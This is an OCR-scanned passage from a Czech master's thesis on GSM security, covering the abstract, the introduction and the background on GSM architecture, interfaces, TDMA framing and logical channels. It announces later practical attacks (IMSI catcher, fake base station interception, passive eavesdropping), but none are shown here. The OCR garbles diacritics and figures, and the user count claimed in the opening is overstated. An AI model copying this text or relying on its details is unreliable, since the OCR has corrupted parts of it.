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Abstrakt

Globalni systétm pro mobilni komunikaci (GSM) je v soucasnosti celosvétove
nejrozSitenéj$im telekomunika¢nim systémem s vice nez 7 miliardami uzivateli. Tato
diplomova prace se zabyva problematikou zabezpeCeni komunikace na radiovém rozhrani
syst¢tmu GSM. Prace nejprve analyzuje bezpecnostni rizika v systému GSM, a popisuje jiz
realizované a publikované utoky vici tomuto systému. Na zakladé té€chto poznatkli je nasledné
prakticky provedena realizace utokii vi¢i autentizaCnim a Sifrovacim mechanismtm sit¢ GSM,
za vyuziti volné dostupného software a hardware v podobé softwaroveé programovatelného radia
USRP (Universal Software Radio Peripheral) a DVB-T (Digital Video Broadcasting-Terrestrial)
prijimace.

Klicova slova

Zabezpeceni GSM; mobilni telefonni sit€; faleSna BTS; IMSI catcher; odposlech
komunikace; USRP; DVB-T piijimac; Airprobe



Abstract

Global System for Mobile communication (GSM) is actually the most wordldwide used
telecommunication system serving over 7 billion users. This master thesis points out security
weaknesses in the radio interface of GSM. These weaknesses are anmalyzed and afterwards
already realized attacks against GSM are described. Using open-source software and available
hardware — USRP (Universal Software Radio Peripheral), DVB-T (Digital Video Broadcasting
— Terrestrial) receiver are realized several attacks against authentication and ciphering
mechanisms in GSM

Key words

GSM  security; mobile telecommunication networks; fake BTS; IMSI catcher;
eavesdropping; USRP; DVB-T receiver; Airprobe
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Uvod

Uvod

Systtm GSM je v soucasnosti stale svétové nejrozSitenéjsi technologii pro mobilni
komunikaci. Jiz od prvniho zvetejnéni dokumentace systému dochéazi k upozornovani na vyskyt
moznych bezpecnostnich problémi. Tato diplomova prace je zaméfena na analyzu
bezpecnostnich rizik v ramci systému GSM. Na zaklad¢ analyzy technické proveditelnosti a
stupni rizika takovychto utoku budou nasledné realizovany vybrané typy utokt. Tyto utoky jsou
provedeny za vyuziti open-source nastrojii, softwarové programovatelného radia USRP a DVB-
T prijimace.

V prvni ¢asti prace je Ctenaf seznamen s teoretickymi podklady radiového rozhrani
systému GSM spolecné s popisem bezpecnostnich mechanismii tohoto systému. Nasleduje
analyza znamych bezpecnostnich hrozeb spolecné s popisem jiz realizovanych itoku.

V praktické casti pak jsou realizovany a popsany 3 typy utokd: IMSI catcher, aktivni
odposlech s podvrzenim zikladnové stanice a pasivni odposlech. IMSI catcher slouzi k
zachyceni identifikatoru IMSI. IMSI je citlivy udaj umoziujici jednoznac¢nou identifikaci
koncového uzivatele. Pti aktivnim odposlechu dochazi k provozu podvrzené zakladnové stanice,
ke které se ptipoji mobilni stanice v dané oblasti, coz umoznuje utocnikovi pristup k veskeré
komunikaci. Tietim typem pak je pasivni odposlech komunikace v siti GSM s vyuzitim levného
DVB-T ptijimace.

Tato prace také v posledni Casti rozebird mozna opatfeni pro sniZeni bezpecnostnich
rizik.
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1 Vlastnosti GSM/UMTS siti

V této kapitole je Ctendf sezndmen se zdkladnimi pojmy, rozdélenim, funkénim
usporadanim a vlastnostmi jednotlivych generaci mobilnich telekomunikac¢nich systémt.

Historicky Ize z vyvojového hlediska rozdé€lit mobilni systémy do 4 generaci.

Mobilni systémy, které pracovaly s analogovym signalem, jsou fazeny do 1. generace.
Dalsim vyvojovym krokem jsou pak prvni digitalni systémy 2. generace. V souvislosti s
potiebou zvladat narocnéjsi datové pienosy v mobilni siti pak vznikaji systémy 3. a v
soucasnosti i 4. generace[1].

1. generace - analogové mobilni systémy
2. generace - GSM

3. generace - UMTS

4. generace - LTE

Obecné se vsak Ize v riznych publikacich setkat i s neoficialnimi mezistupni mezi
jednotlivymi vySe popsanymi generacemi (napi. 2.5 generace oznacujici GPRS, popt. 3.5
generace pro technologii HSDPA).

Stru¢né budou v nasledujicich podkapitolach popsany systémy 1., 3., a 4. generace.
Pro potieby praktické casti této diplomové prace je pak podrobnéji popsana funkcnost systému
2. generace — GSM.

1.1 1. generace

Prvni ptedchiidci mobilnich telefonnich systémii zacali vznikat v pritbehu 70. let 20.
stoleti. Ve veétSin¢ piipadi se jednalo o komercni sluzby roz§itujici moznosti piipojeni ke
klasické vetfejné telefonni siti pomoci bezdratovych zatizeni. Mobilni stanice byly vétSinou
montovany do osobnich a nakladnich automobilti z diivodu svych velkych rozmérii a nadmérné
hmotnosti.

Systémy 1. generace jsou n¢kdy také nazyvany analogovymi telekomunikacni systémy.
Mezi nejrozsifenéjSi zastupce té€to generace patfil systém NMT (Nordic Mobile Telephony) a
systétmy AMPS a TACS. [1]

V téchto systémech je obvykle analogovy signal modulovan na nosné frekvence v
rozmezi 250 az 450 MHz (u NMT 900 pak 900 MHz). Lidrem ve vyvoji mobilnich siti 1.
generace byly skandindvské zemé Norsko, Finsko a Svédsko, jelikoz se napiiklad u NMT
jednalo o bezplatné pristupnou specifikaci, doslo kratce po nasazeni do provozu k podstatnému
roz§iteni (v roce 1985 ve Skandinavii 110 tis. uzivatel).[1]

NMT — Buiiky systému NMT maji velikost od 2 do 30 km. MenSi buniky se vyuZzivaji ve
méstech k navyseni kapacity soucasné provadénych hovort.[2]
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Pro obousmérnou komunikaci je u NMT vyuzito plné¢ duplexniho provozu, coz
znamend, ze b&hem hovoru dochazi k ptijimani i vysilani signalu soucasné. Automobilové
stanice maji vysilaci vykon az 15 W (NMT-450) resp. 6 W (NMT-900), ru¢ni mobilni stanice
pak do 1 wattu. Hlavni vyhoda NMT oproti predchozim komunikacnim systémum je podpora
prechazéni mezi zdkladnovymi stanicemi, podpora pro mezinarodni roaming a specifikace
uctovani piimo ve standardu. [2]

V plvodni verzi NMT nebylo pouzito Zadné bezpeCnostni kodovani prenaseného
hlasového signdlu, coz mélo za nasledek wvelice jednoduchou mozZnost zneuziti pomoci
libovolného radiového piijimace pracujiciho na dané frekvenci. Snaha o zvySeni bezpecnosti
hovoru vedla k vypusteni NMT pasem z rozsahu piijimact.[2] Toto feSeni je vSak z pohledu
narusitele sit¢ naprosto banalni. Proto doslo v dalsich vyvojovych verzich technické specifikace
k zavedeni metody scramblingu. V analogovém pienosu se jednalo o Upravu signalu pied
vlastnim vysilanim do nezabezpeceného kandlu a poté byl na pfijimacim zafizeni signal
reverzné pifeveden zpét do ptivodni podoby. Scrambling mohl byt provozovan dvéma zptisoby -
scrambling mezi zdkladnovou a mobilni stanici nebo scrambling mezi dvéma mobilnimi
stanicemi.[2]

1.2 2. generace

Sit¢ prvni generace po svém prvotnim rozmachu rychle naradzeji na své hranice
zpusobené analogovou podstatou systému. Bylo potfeba razantn¢ navysit kapacitu sit€, kvalitu a
rozsah poskytovanych sluzeb stejné jako snizit cenu, ktera by umoznila masovéjsi rozsireni
technologie. Mobilni systémy 2. generace prechdzeji od analogového zpracovani signald
k digitalnimu.

Nejrozsirenéj$im digitdlnim systémem 2. generace se celosvétové stalo GSM. Mezi
dalsi systémy pak patii:

e ADC (IS-54, D-AMPS) - americky standart, ktery byl zpétn¢ kompatibilni s
analogovym systémem AMPS [3]
e JDC - japonsky standart nasazeny od roku 1991 [3]

1.2.1 Historie a vyvoj GSM

V prabéhu 80. let dochazi predev§im v Evropé k prudkému rozvoji rtiznorodych
analogovych mobilnich systémi, coz sebou pfindsi nékolik podstatnych probléma -
nesluCitelnost jednotlivych systému, které vedou k nepouzitelnosti mobilniho zatizeni za
hranicemi jednotlivych zemi. Tato rozmanitost méla také ekonomické problémy, jelikoz
vyrobce zafizeni nemohl dodavat z divodu kompatibility své vyrobky na ostatni trhy ve
sjednocujici se Evropé. Z téchto diivodii byla organizaci CEPT (Konference evropskych sprav a
post) vytvorena v roce 1982 nova standardiza¢ni skupina GSM (Groupe Spécial Mobile)[2],
jejimz tkolem bylo vytvorit standarty pro novy digitalni systém, ktery by byl kompatibilni v
zemich celé Evropy resp. svéta.

Pro vyvoj nového systému byly definovany predevsim nasledujici pozadavky[2]:
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e dlraz na nizkou cenu zatizeni a sluzeb

e kvalitni pfenos lidské feci

e podpora mezinarodniho roamingu

e frekvencni hospodarnost - maximalizace kapacity sit¢
e podpora ISDN slizeb

V roce 1987 byla ptijata prvni technicka specifikace systému GSM. V tomto roce bylo
13 zemémi Evropy jednotné piijato MoU (Memorandum of Understanding) o vyvoji a
spolupraci jednotného evropského bunkového telefonniho systému, diky tomuto rozhodnuti
vstoupili do procesu vyvoje se svymi finan¢nimi prostfedky operatofi, coz umoznilo vyrazné
zrychlit vyvoj.[2]

V roce 1989 byla sprava nad vyvojem GSM pievedena pod ETSI (Evropsky
telekomunika¢ni standardizani institut). V nasledujicim roce byl ukonfen vyvoj primarni
specifikace, ktera byla publikovana jako GSM - Phase 1.

Nekeré soucasti specifikace GSM - Phase 1[3]:

e zakladni hlasové a faxové/datové sluzby
e mezinarodni roaming

e predavani a blokovani hovort

e sluzba SMS

e SIM karta a Sifrovani

Prvni hovor v siti GSM byl proveden v roce 1991 mezi soudobym premiérem Finska
Harrim Holkerim a starostkou mésta Tampere Kaarina Suonio.[2] Na zaklad¢ specifikace GSM
- Phase 1 vznikaji v Evropé prvni komer¢ni sit€ a byla také uzaviena prvni roamingova smlouva
mezi Velkou Britanii a Finskem.

Soubézné se zavadénim GSM - Phase 1 do provozu pokracovala také prace na dalSim
vyvoji standartu GSM. O necelé dva roky pozd¢ji prisla specifikace GSM Phase 2, ktera jiz
definovala rozSifené sluzby, jako je napiiklad tarifikace hovori na mobilnim telefonu dle
impulst sité, ale i identifikaci volajiciho, konferencni hovory a dalsi. Zaroven pln¢ integrovala
dalsi frekvenci 1800 MHz (Digital Cellular System- DCS1800), ktera se pro systémy na bazi
GSM zacala také pouzivat. V neposledni fadé¢ GSM Phase 2 akceptovala pozadavek na integraci
nekterych funkci (zejména kdédovani feci enhanced full rate a half rate), které umoznily expanzi
systému GSM i ve Spojenych statech na frekvenci 1900MHz pod ndzvem PCS-1900.[3]

Nekteré soucasti specifikace GSM - Phase 2[3]:

e GSM 1800 a 1900 MHz
e identifikace volaného a volajic tho
e pridrzeni hovoru a konferencni hovory

e rozsifené moznosti datovych sluzeb
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1.2.2 Struktura sit¢ GSM

Z pohledu architektury mizeme GSM sit’ rozdélit do 4 zakladnich logickych casti.
Rozd€leni je zndzornéno na obrazku 1.1. Struktura sit¢ GSM se sklada z té€chto prvkii: Mobilni
stanice (MS) a 3 subsystémy; Subsystém zakladnovych stanic (BSS), Sitovy spojovaci
subsystém (NSS) a Operacni a podptrny subsystém (OSS).

T
I B
r{ PsTNISDN..)

N

Obrazek 1.1: Struktura site GSM

Vysvétlivky k obrazku:

MS — mobilni stanice

BSS — subsystém zikladnovych stanic
BSC - zakladnova fidici jednotka
BTS — zikladnova radiostanice

NSS —sitovy spojovaci subsystém
MSC — mobilni spinaci ustfedna
HLR - domovsky lokaéniregistr

AUC - centrum autenticnosti

EIR - registr mobilni komunikace
VLR —nav§eévnicky lokacniregistr
OSS — operacni a podpimy subsystém
OMC - provozni a servisni centrum
NMC - centrum managementu sité
ADC — administrativni centrum
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1.2.2.1 Mobilni stanice (MS)
Koncové zatizeni, které slouzi uzivateli pro ptistup k siti. V soucasnosti se nejcasteji
vyskytuji v podobé mobilniho telefonu, tabletu nebo USB modemu.

Dle specifikaci GSM se mobilni stanici rozumi jednak vlastni mobilni zatizeni (ME-
Mobile Equipment), navic také predplatitelsky identifikacni modul SIM (Subscriber
Identification Module) - ten umoziuje unikatni identifikaci uzivatele v ramci celé sité
GSM.[2][2]

Mobilni zarizeni (ME) - tvoreno radiovym pfijimacem/vysilaCem slouzicim ke
komunikaci se zakladnovou stanici, obvody pro zdrojové a kanalové kodovani a dalsi soucasti
pro komunikaci s uZivatelem. Uzivatelské prvky mobilnitho zatizeni jsou displej, mikrofon,
reproduktor popt. klavesnice. Pro komunikaci s jinymi zafizenimi mize obsahovat obvody pro
obsluhu dalSich rozhrani (Bluetooth, NFC apod.). Mobilni zafizeni je identifikovano pomoci
¢isla IMEIL které je trvale ulozeno v paméti.[2]

Karta SIM - je nedilnou soucasti MS, ktera by byla, s vyjimkou tisiiového volani, bez
této karty nepouzitelnd. V paméti SIM jsou uloZeny jeji identifikacni udaje, dale uzivatelské
Ctyfmistné identifikacni Cislo PIN (Personal Identification Number) a neménné identifikacni
¢islo PUK (Personal Unblocking Key). Ukolem SIM karty je autentizace uzivatele a
identifikace sluzeb jemu pristupnych. Karta je prenosna a lze ji pouzit s libovolnym mobilnim
telefonem.[2] SIM dale uchovava ¢islo IMSI slouzici k jednozna¢né identifikaci uzivatele, idaje
potiebné k autentizaci MS vici siti (kli€ K;), dale nékteré doCasné udaje — kli¢ pro Sifrovani
komunikace K¢, TMSI pro docasnou identifikaci uzivatele, identifikator buiky, ¢iselny kod
oblasti LAIL [2][3]

1.2.2.2 Subsystém zakladnovych stanic (BSS)

Jednda se o subsystém, se kterym prostfednictvim radiového rozhrani komunikuji
jednotlivé mobilni stanice. Obvykle se BSS sklada z jedné Ci vice zakladnovych stanic BTS,
které jsou fizeny jedinou BSC, viz obrazek 1.1. Systém provadi ptekodovani hovorovych
kanala, ptidélovani hovorovych kanali mobilnim stanicim (MS), handover a dalsi. Systém
GSM je tvoren typicky buiikami o velikosti 1-3 km v priméru (v oblastech s nizkym provozem
lze vyuzit buiiky az o velikosti 35 km). Buiiky jsou sluCovany do vétSich celkl tzv. svazki. U
systému GSM obvykle obsahuje jeden svazek 9 bunck, pouzivaji se vSak i svazky s mensim
poctem bunék. Uvniti kazdé bunky je umisténa zakladnova stanice (neni-li vyuzito principu
sektorizace). Pti sektorizaci dojde k navySeni kapacity svazku pomoci vyuziti smérovych antén,
kdy kazda vyzatuje v sektoru 120°.[2][3]

Buiikova struktura GSM sit¢ umoznuje ve srovnani s tradicnimi systémy poskytnout
vys$i kapacitu s vyuzitim minimaInich radiovych prostiedki.[2] Struktura umoziuje nékolika
nasobné znovu-vyuziti pridélené radiové frekvence. Z diivodl vzajemné interference je potteba
dodrzet vyuziti rozdilnych frekvenci v sousedicich bunkach. Bunkova struktura sit¢ je
zobrazena na obrazku 1.2.
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Obrazek 1.2: Bunkova struktura GSM

Zakladnova stanice (BTS) — Zatizeni zajiStujici bezdratovou komunikaci mezi
koncovymi zatizenimi (MS) a siti, modulaci a demodulaci signalu, kddovani, opravu chyb,
handover mezi sektory a méteni kvality signalu. Sklada se z vysilaci a pfijimaci ¢asti.[2]

Zakladnova ridici jednotka (BSC) — stard se o provoz radiového rozhrani. Ptidéluje a
uvoliiuje radiové kanaly pro komunikaci BTS s MS, tidi handover, frekven¢ni preskoky. BSC
zpravidla odpovida za fizeninékolika desitek BTS. [2]

1.2.2.3 Sitovy spojovaci subsystém (NSS)

Sitovy spojovaci subsystém plni v systému GSM predevsim spojovaci funkce, obdobné
jako je uskutecnuje klasicka telefonni tstfedna. Tuto funkci plni v subsystému NSS mobilni
radiotelefonni Gstfedna MSC. Jde zde o bézny typ telefonni ustfedny, ktera je vSak doplnéna o
dalsi funkce plynouciz mobility pfepojovanych ucastnickych stanic. Tato ustfedna je nadfazena
nad systémem fadici BSC a jedna nebo vice z nich plni funkci tzv. gateway MSC a umoziiuje
propojeni mobilni sit¢ GSM s externimi telekomunika¢nimi sitémi. Subsystém NSS dale
realizuje celou fadu specifickych tloh, spojenych s mobilitou ti¢astnikil. [2]

Domovsky lokacni registr (HLR) - Tato v podstaté databaze slouzi k ukladani
veskerych udajii o uzivatelich sité jednotlivého operatora. Obsahuje mimo jiné dilezita Cisla
IMSI , MSISDN, zptistupnéné sluzby a dale napriklad udaje tykajici se polohy uzivatele. V siti
jednoho operatora je vzdy minimalné jeden HLR, miize jich byt i vice. Soucasti registru HLR je
i centrum autenticnosti AuC (Authentication Centre), coz je chranéna databaze, obsahujici klice
pro ovétfovani totoznosti ucastnikid. Toto centrum mé dale na starost Sifrovaci kli¢, podle
kterého se Sifruje kazdy ucastnicky signal prenaseny radiovym rozhranim. Tento kli¢ je unikatni
pro kazdého ucastnika a je proménny v Case.[2]

Identifikacni registr stanic (EIR) - Na registr HLR je dale napojen identifikacni registr
mobilnich stanic EIR. V této databazi jsou ulozena ¢isla IMEI mobilich stanic, které jsou
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autorizovany k pouziti v dané siti, dale ¢isla ukradenych MS a je zde i seznam stanic, které jsou
oznaceny jako porouchané, piipadné nespliujici ur¢itd pozadovana specifika.[2]

Navstévnicky lokacni registr (VLR) — Pro bezproblémovou mobilitu ucastnikd je
vyuzivan registr VLR, ktery prechodné uchovava a obnovuje data o uzivatelich, v dané chvili se
nachazejicich v oblasti prislusné MSC. Obsahuje podobné informace jako HLR , ale pouze
docCasng, tzn., ze jakmile G€astnik opusti oblast, data jsou vymazéna.[2]

Centrum autenticnosti (AuC) - Obsahuje informace potiebné k autentizaci SIM a
moznosti zavedeni Sifrovaného spojeni mezi MS a BTS. V mnoha piipadech je AuC
implementovano jako soucdst domovského registru. Pro kazdé uzivatelské cislo IMSI je
obsazen kli¢ K; a pouzity Sifrovaci algoritmus A3 a AS8. Stejné hodnoty jsou uloZzeny i na
odpovidajici SIM.[2][4]

1.2.2.4 Operacni a podpuirny subsystém (0SS)

Posledni ¢asti GSM architektury je operaCni a podplrny subsystém, jehoz soucasti je
provozni a servisni centrum (OMC), fidici dohledové centrum (NMC) a administrativni centrum
(ADC). Mezi hlavni funkce OSS patii kontrola a udrzba NSS a BSS, management a monitoring
mobilnich stanic véetné jejich registrace a tarifikace.[3]

1.2.3 Rozhranisit¢ GSM

V siti GSM je definovano né€kolik rozhrani slouzicich k vzajemné komunikaci mezi
jednotlivymi ¢astmi. Mezi rozhrani, které slouzi k propojeni MS s pozemni telefonni siti
(PSTN) patii: Uy, Apis, A a E. Pro tyto rozhrani jsou definovany logické kanaly uréené pro
prenos uzivatelskych dat - tzv. traffic channels a kanaly slouzici k ptenosu tidicich dat - tzv.
signaliza¢ni/fidici kanaly.[5] Jednotlivé rozhrani mizete vidét na obrazku 1.3.

Rozhrani B, C, D, F a G slouzi k synchronizaci riznych informaci v zazemi sité.
Implementace rozhrani mezi AuC a HLR neni oficidin¢ definovano[5] a zalezi proto pouze na
provozovateli sité. Jak jiz bylo zminéno Casto tak dochazi k vzajemné integraci t€chto soucasti.

JelikoZ se v dalsi Casti této diplomové prace pracuje s radiovou komunikaci na rozhrani
Um, bude toto rozhrani podrobnéji popsano v dalsi kapitole.

Rozhrani Ay slouzi k propojeni BTS a tidicim centrem BSC. Toto rozhrani vychazi ze
standardizovaného rozhrani ISDN - LAPD a zpravy na tomto rozhrani se velké mife shoduji se
zpravami na druhé vrstvé rozhrani Um. [5]

Rozhrani A je pak definovano pro propojeni subsystémi BSS a NSS, rozhrani E pak
jako hlavni rozhrani subsystému NSS. Signalizacni kanaly rozhrani A a E jsou soucasti SS7 -
soubor signaliza¢nich protokoli definovanych mezinarodni telekomunika¢ni unii — ITU.[5]



Vlastnosti GSM/UMTS siti

MS

O Um-interface e F-interface
@) EIR

Abis-interface A-interface E-interface

BTS BSC MSC GMSCH ‘tend

networks

B-interface B-interface
G-interface

C-interface
D-interfac

Obrazek 1.3: Rozhrani GSM
[Zdroj: VAN DEN BROEK, Fabian. Catching and Understarstanding GSM-Signals]

1.2.4 Up — Radiova vrstva

Rozhrani mezi mobilni a zdkladnovou stanici je oficialné nazyvano Um. Pojmenovani
vychazi z ekvivalentniho rozhrani U definovaného v ISDN. Jedna se o pIn€¢ duplexni rozhrani s
vyuzitim metody frekvencniho odstupu (FDD) pro oddéleni uplink (MS -> BTS) a downlink
(BTS -> MS) komunikace.

Ackoliv je rozhrani definovano jako duplexni, vétSina mobilnich zafizeni neni schopna
signal vysilat a pfijimat soucasné. Toto je feSeno rychlym prepindnim mezi pfijimacem a
vysilacem.[5]

Systém GSM vyuziva pro modulaci signdlu gaussovou modulaci MSK, tj. GMSK — kdy

je pred vlastni modulaci zatazen Gaussiv filtr, ktery snizuje vykonovou uroven v postrannich
pasmech a zvySuji tak spektralni efektivnost této modulace ve srovnani s jingmi modulacemi.

[11]

Pro navySeni kapacity systétmu bylo pfistoupeno k vyuziti dvou metod pro
mnohonasobny pristup:

FDMA - (Frequency Division Multiple Access) mnohonasobny piistup pomoci
frekvencniho odstupu

TDMA - (Time Division Multiple Access) mnohondsobny piistup pomoci ¢asového
odstupu

1.2.4.1 FDMA

Pti navrhu GSM sité se pocitalo s moZnosti soucasného vysilani vyssiho poctu MS. K
tomu, aby nedochazelo k vzajemnému ruSeni je pasmo GSM rozdéleno na jednotlivé kanaly o
sitce 200 kHz. V pripadé wvyuziti dvou sousednich radiovych kanali muize dochazet
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k vzajemnému ruSeni, proto neni mozno pouzit sousedni kanaly v ramci jedné bunky. Ostatni
kanaly pak mohou byt sou¢asné vyuzity bez vzajemného ruseni. [3]

JelikoZ se jedna o duplexni kandl, je pro kazdy kanal ur¢ena dvojice frekvenci - jedna
pro uplink druhé pak pro downlink. Odstup obou smérti mtizete vidét v tabulce 1.1.

Tabulka 1.1:  Frekvencni pasma GSM

Nazev Uplink (MHz) Downlink (MHz)  Odstup (MHz) Cislo kanilu

(ARFCN)
GSM-450 450,4-457.6 460 4-467.6 10 259-293
GSM-480 478.8-486 488.8-496 10 306-340
GSM-850 824-849 869-894 45 128-251
GSM-900 890-915 935-960 45 1-124
EGSM-900 880-915 925-960 45 975-1023, 0-124
GSM-1800 1710-1785 1805-1880 95 512-885
GSM-1900 1850-1910 1930-1990 80 512-810

ARFCN (Absolute Radio Frequency Channel Number) - Kazd4d dvojce kanali je
oznacena absolutnim ¢islem frekvencniho kanaln. Pro GSM-900 nabyva ARFCN hodnot 1 az
124.

Na zakladé ARFCN je pak mozno dopocitat dvojici odpovidajicich frekvenci.[2]
Pro GSM 900:
fuplink = 890 + 0,2 X ARFCN [MHZ] ﬁjown“nk = ﬁ:plink + 45 [MHZ]

Kapacita pasma GSM 900 se brzy ukazala pro praxi jako nedostate¢na a doslo k alokaci
dal§ich pasem: EGSM-900 popt. GSM-1800. Podrobn¢ j§i informace o pasmech je mozno nalézt
v tabulce 1.1.

Jedna BTS obvykle obsahuje 16 TRX (transceiver), coz umoziuje soucasné obsluhovat
8 kanali ARFCN - 8 uplink + 8downlink[5]

1.2.4.2 Frekvencni preskoky

Sifeni signalu bezdratovym prostiedim je obecné nachylné na vnéj§i vlivy jakymi
mohou byt napt. atmosféricky ruch, interference, vicecestné Siteni signalu apod. Pro udrzeni co
nejvyssi prenosoveé kvality miize byt na strané BTS zavedena technika frekvencnich preskoki -
FH (Frequency Hopping). Podpory ze strany vSech MS je zajiSténa ve specifikaci GSM.[9]

Pro potteby GSM byla zvolena metoda SFH (Slow Frequency Hopping), k pteskoktim
dochazi cca kazdych 4.615ms, coz je doba odpovidajici jednomu TDMA ramci, tak aby byla

-10 -
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MS schopna naslouchat dalsimu pfidélenému ¢asovému slotu - TS (Time Slot). FH je vzdy
inicializovano ze strany BTS, ktera zaSle MS vesSkeré parametry potiebné k vypoctu sekvence
kanald pro jednotlivé preskoky.[5][6]

1.2.4.3 TDMA

Metoda mnohonasobného pristupu TDMA umoZziiuje soucasny piistup vice zafizeni na
jednom fyzickém kanalu. Jednotlivé signaly jsou wvysilany pouze v kratkych pevné
definovanych mtervalech nazyvanych casové sloty (TS - time slot). Prakticky se vyuziva
slouceni jednotlivych slotl jednoho TDMA ramce.

V systétmu GSM je metodou TDMA kazdy fyzicky nosny kanal rozdélen na 8 TS.
Pro jedno koncové zatizeni je pak FDMA/TDMA kanal pro ptenos signalu definovan cislem
TDMA ramce, pridélenym time slotem a volite In¢ sekvenci frekvencnich preskoku.

Zakladni jednotkou v systému GSM je tak jeden TS o délce 576,9 ps, pii modulacni
rychlosti 270.833 kbit/s je pak velikost jednoho TS 156,25 bit. Obsah jednoho TS se nazyva
burst. [9]

1.2.4.4 Burst
V systému GSM jsou rozliSovany 4 typy burstl [5]. Struktura burstll je znadzornéna na
obrazku 1.4

- NB - Normal Burst - tento burst je vyuzivan k prenosu informace na logickych
kanalech TCH (Traffic Channel) a CCH (Control Channel), kromé¢ RACH, normani burst je
tvoren 116 bity dat a ochrannym ¢asem - tzv. guard time o délce 8,25 bit. Tréninkova sekvence
pak pomoci preddefinované sekvence bith umoziuje resynchronizaci pfijimace pro omezeni
vlivll interference.[5]

- FB - Frequency Correction Burst - burst ur¢eny pro frekvencni synchronizaci MS.
Sekvence FB vytvaii kanal FCCH. Pole fixed bits je tvofeno 142 standardn¢ modulovanymi
hodnotami '0'. Toto umozni MS nalézt zakladni frekvenci BTS a pfizptisobeni piijimace. [5]

- SB - Synchronization Burst - zékladni funkci SB je ¢asova synchronizace MS, burst
obsahuje prodlouzenou tréninkovou sekvenci a 2 datové casti o velikosti 39 biti obsahujici
informaci o ¢islu TDMA ramce a identifikacnim kodu zakladnové stanice (BSIC). SB jsou
odesilany na logickém kanale SCH.[5]

- AB - Access Burst - pfistupovy burst miize byt vysilan pouze MS a je odeslan pouze
na kandlu RACH, jelikoz BTS nezné pfesnou polohu MS je potieba tomuto burstu poskytnout
delsi guard time. Data v tomto burstu obvykle obsahuji Zadost MS o komunikaci a nasleduje ze
strany BTS pfidéleni SDCCH pomocinorméIniho burstu.[5]

-11 -
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Obrazek 1.4: Prehled bursti
[Zdroj: VAN DEN BROEK, Fabian. Catching and Understarstanding GSM-Signals]

1.2.4.5 Ramce sité GSM

Jeden TDMA ramec v siti GSM je tvofen 8 bursty, jehoz délka je 4,615 ms (8 x
576,9 ps). TDMA ramce nasledné tvoii multi-ramce. RozliSuji se 2 zdkladni typy multi-ramcu :
multi-ramec prenosového kanalu a multi-rimec signalizacniho kanalu. [9]

Multi-rdmec prenosového kandlu je slozen z 26 TDMA ramct (120ms), pro signalizacni
kanal to je pak 51 TDMA ramct (235,4 ms). Tyto multi-ramce jsou opét sdruzovany do vétSich
celkli nazyvanych super-ramce, které je opét mozno rozdélit podle typu kandlu na prenosové a
signaliza¢ni. [9]

Super-ramec prenosového kandlu je slozen z 51 multi-ramct prenosového kanidlu,
signalizaCni super-ramec je sloZzen z 26 multi-ramcd. Z tohoto vyplyva, ze délka obou typt
super-ramct je shodna (51%26*4,615 ms = 6119,49 ms). Nejvétsi jednotkou v ramci TDMA je
tzv. hyper-ramec, ktery je tvoren 2048 super-ramci. Délka tohoto ramce je pak 12 533,76 s a je
celkové slozen z2 715 648 TDMA ramcu (51*26*2048). Jednotlivé TDMA ramce jsou
nasledné Cislovany podle potadi v super-ramci. Potadi TDMA ramce je pak jednim z parametra
pro sifrovani komunikace.[6][9] RozloZeni ramct je podrobné znazornéno na obrazku 1.5.

-12 -
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1.2.4.6 Logické kanaly sité¢ GSM

Systém GSM definuje Sirokou fadu logickych kanali, které jsou podle svého ucelu
tvofeny riznymi typy bursti. Logické kanaly GSM mizeme rozdélit podle své funkce na
prenosové kandly (TCH — traffic channel) a signalizacni kanily (CCH — control channel).
Ptenosové kandly jsou ur€eny k prenosu hlasovych popt. dalSich dat. Signaliza¢ni kandly, jak uz
nazev napovida, slouzi k fizeni provozu v ramci GSM systému. Celkovy ptehled logickych
kanali je mozné vidét v tabulce 1.2.

1.2.4.7 Prenosové kanaly (TCH)

Jsou urCeny k penosu hovorovych mezi jednotlivymi ucastniky. Samotny hovor je
preveden do sekvence bitli a ptenesen pomoci TCH. GSM rozdéluje 2 typy prenosovych kanali
— Kanal s pinou rychlosti (TCH/F - Full rate) a kandl s polovi¢ni rychlosti (TCH/H - Half rate).
V pripadé¢ TCH/F je kandl uren k pienosu hovorovych dat jediného uzivatele. Pro TCH/H je
prenosovy kanal rozdélen na dva kanaly TCH/H a umoziuje tak sdileni jediného kanalu dvéma
koncovymi uzivateli a tim dochazi k dalSimu navySeni kapacity soucasné obsluhovanych
uzivatell.[5]

1.2.4.8 Signalizacni kandly (CCH)

Toto je souhrnné oznaceni pro vSechny logické kanaly, ktera nesou informace slouzici
k fizeni a udrzbé komunikace v siti GSM. Systém GSM definuje 10 rGznych signaliza¢nich
kanald, které miizeme pro potieby popisu rozdélit do 3 podskupin: rozhlasové kanaly (BCH —
Broadcast Channel), kandly vSeobecného fizeni (CCCH — Common Control Channel) a
vyhrazené tidici kanaly (DCCH — Dedicated Control Channel).[5]

BCH

Kanaly BCH slouzi k propagaci systémovych a synchroniza¢ni informaci. Tyto kanaly
jsou vysilany pouze ve sméru downlink (BTS -> MS).

Broadcast Control Channel (BCCH) — tento vSeobecny rozhlasovy kanal je urcen
k ptenosu systémovych informaci potfebnych k identifikaci sit¢ a moznosti pripojeni. Toto
zahrnuje parametry LAC, MNC, MCC, frekvence sousednich BTS a informace o dalSich
signalizacnich kandlech. MS také vyuzivda BCCH k méfeni sily signalu a ndslednému
rozhodovani o ptepojeni k nejvhodnéjsi BTS. Tomuto kanalu naslouchaji vSechny MS.[5][6]

Frequency Correction Channel (FCCH) — kanal informace umoznujici korekci naladéni
mobilni stanice a identifikaci kmito¢tu nesouciho signaliza¢ni kanaly. Tvofi ho bursty pro
kmito¢tovou korekci.[5][6]

-13 -
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Synchronization Channel (SCH) — kanal nesouci informace o aktudlnim ¢islu TDMA
ramce, umoznujici MS naslednou ramcovou synchronizaci. Tento kanal také nese identifikator
BSIC (Base station identity code) slouzicik rozliSeni BTS vysilajicich na stejné frekvenci.[5][6]

Cell Broadcast Channel (CBCH) — kanal uréeny k prenosu riznych informaci k v§em
uzivatelim v jedné bunce. Pro pienos sice vyuziva vyhrazeny kanal, ale svym principem, kdy je
Siten mezi vSechny tcastniky, spada do kategorie rozhlasovych kanali (BCH).[5][6]

CCCH

Tyto kanaly jsou ur¢eny k signalizaci mezi BTS a MS a obstaravaji predevsim zadosti a
ptidéleni piistupu k pfenosovym popi. dal§im signalizaénim kand lim.

Paging Channel (PCH) — Kanal informujici MS o ptichozim ptenosu (hovor, SMS ¢i
signalizace). Jednotlivé MS mohou byt identifikovany pomoci IMSI nebo TMSI. Tento kanal je
